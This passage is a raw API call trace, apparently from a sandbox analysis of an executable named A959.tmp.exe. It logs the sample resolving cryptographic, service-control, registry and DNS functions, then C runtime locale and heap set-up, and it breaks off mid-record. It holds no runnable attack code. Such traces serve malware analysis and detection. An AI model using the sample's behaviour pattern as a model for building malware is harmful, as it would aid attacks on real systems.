lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0043.348] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0043.348] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0043.348] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0043.348] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0043.348] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0043.348] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0043.349] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0043.349] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0043.349] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0043.349] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0043.349] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0043.349] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0043.349] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0043.349] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0043.349] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0043.349] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0043.352] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0043.352] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0043.352] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0043.352] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0043.352] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0043.352] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0043.352] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0043.352] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0043.352] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0043.352] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0043.352] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0043.353] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0043.353] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0043.353] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0043.353] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0043.353] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0043.353] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0043.353] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0043.353] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0043.353] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74b40000 [0043.358] GetProcAddress (hModule=0x74b40000, lpProcName="GetAdaptersInfo") returned 0x74b49263 [0043.358] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0043.359] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0043.359] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0043.359] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0043.359] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a70000 [0043.363] GetProcAddress (hModule=0x74a70000, lpProcName="DnsQuery_W") returned 0x74a8572c [0043.364] GetProcAddress (hModule=0x74a70000, lpProcName="DnsFree") returned 0x74a7436b [0043.364] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0043.364] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0043.364] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749b0000 [0043.369] GetProcAddress (hModule=0x749b0000, lpProcName="atexit") returned 0x749cc544 [0043.370] atexit (param_1=0x6c9bad) returned 0 [0043.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18d930 | out: lpSystemTimeAsFileTime=0x18d930*(dwLowDateTime=0xb6af4d0, dwHighDateTime=0x1d53559)) [0043.370] GetCurrentThreadId () returned 0x244 [0043.370] GetCurrentProcessId () returned 0x714 [0043.370] QueryPerformanceCounter (in: lpPerformanceCount=0x18d928 | out: lpPerformanceCount=0x18d928*=16363332043) returned 1 [0043.370] GetStartupInfoW (in: lpStartupInfo=0x18d8c0 | out: lpStartupInfo=0x18d8c0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0043.370] GetProcessHeap () returned 0x670000 [0043.370] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0043.370] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0043.370] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0043.370] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0043.370] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0043.371] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0043.371] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0043.371] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0043.371] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0043.371] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0043.371] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0043.371] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0043.371] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0043.371] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0043.371] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0043.371] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0043.371] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0043.372] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0043.372] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0043.372] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0043.372] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0043.372] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0043.372] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0043.372] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0043.372] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0043.372] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0043.372] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0043.372] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0043.372] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0043.373] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0043.373] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0043.373] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0043.373] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0043.373] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0043.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3bc) returned 0x71b4f8 [0043.373] GetCurrentThreadId () returned 0x244 [0043.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x67f380 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x800) returned 0x71b8c0 [0043.374] GetStartupInfoW (in: lpStartupInfo=0x18d890 | out: lpStartupInfo=0x18d890*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0xc5eb64dd, hStdError=0x0)) [0043.374] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0043.374] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0043.374] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0043.374] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0043.374] GetEnvironmentStringsW () returned 0x71c0c8* [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xaca) returned 0x71cba0 [0043.374] FreeEnvironmentStringsW (penv=0x71c0c8) returned 1 [0043.374] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe")) returned 0x32 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbc) returned 0x71d678 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x98) returned 0x71d740 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3e) returned 0x711128 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x6c) returned 0x71d7e0 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x6e) returned 0x71d858 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x78) returned 0x70f008 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x62) returned 0x71d8d0 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2e) returned 0x7171e0 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x48) returned 0x712da0 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x28) returned 0x716bd8 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1a) returned 0x71b1f0 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4a) returned 0x71d940 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x72) returned 0x70f088 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x30) returned 0x717218 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2e) returned 0x717250 [0043.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x71b218 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd2) returned 0x71d998 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x7c) returned 0x71da78 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x36) returned 0x71db00 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3a) returned 0x711170 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x90) returned 0x71db40 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x24) returned 0x716c08 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x30) returned 0x717288 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x36) returned 0x71dbd8 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x48) returned 0x712df0 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x52) returned 0x71dc18 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3c) returned 0x7111b8 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x82) returned 0x71dc78 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2e) returned 0x7172c0 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1e) returned 0x71b240 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2c) returned 0x7172f8 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x54) returned 0x71dd08 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x52) returned 0x71dd68 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2a) returned 0x717330 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3c) returned 0x711200 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x54) returned 0x71ddc8 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x24) returned 0x716c38 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x30) returned 0x717368 [0043.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x8c) returned 0x71de28 [0043.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x71cba0 | out: hHeap=0x670000) returned 1 [0043.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x80) returned 0x71dec0 [0043.376] GetLastError () returned 0x0 [0043.376] SetLastError (dwErrCode=0x0) [0043.376] GetLastError () returned 0x0 [0043.376] SetLastError (dwErrCode=0x0) [0043.376] GetLastError () returned 0x0 [0043.376] SetLastError (dwErrCode=0x0) [0043.376] GetACP () returned 0x4e4 [0043.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x220) returned 0x71c0c8 [0043.376] GetLastError () returned 0x0 [0043.376] SetLastError (dwErrCode=0x0) [0043.376] IsValidCodePage (CodePage=0x4e4) returned 1 [0043.376] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d884 | out: lpCPInfo=0x18d884) returned 1 [0043.376] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d34c | out: lpCPInfo=0x18d34c) returned 1 [0043.376] GetLastError () returned 0x0 [0043.376] SetLastError (dwErrCode=0x0) [0043.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d760, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d760, cbMultiByte=256, lpWideCharStr=0x18d0c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0043.376] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x18d360 | out: lpCharType=0x18d360) returned 1 [0043.376] GetLastError () returned 0x0 [0043.376] SetLastError (dwErrCode=0x0) [0043.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d760, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d760, cbMultiByte=256, lpWideCharStr=0x18d098, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0043.376] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0043.377] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18ce88, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0043.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18d660, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x4d\x64\xeb\xc5\x9c\xd8\x18", lpUsedDefaultChar=0x0) returned 256 [0043.377] GetLastError () returned 0x0 [0043.377] SetLastError (dwErrCode=0x0) [0043.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d760, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18d760, cbMultiByte=256, lpWideCharStr=0x18d0b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ") returned 256 [0043.377] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: 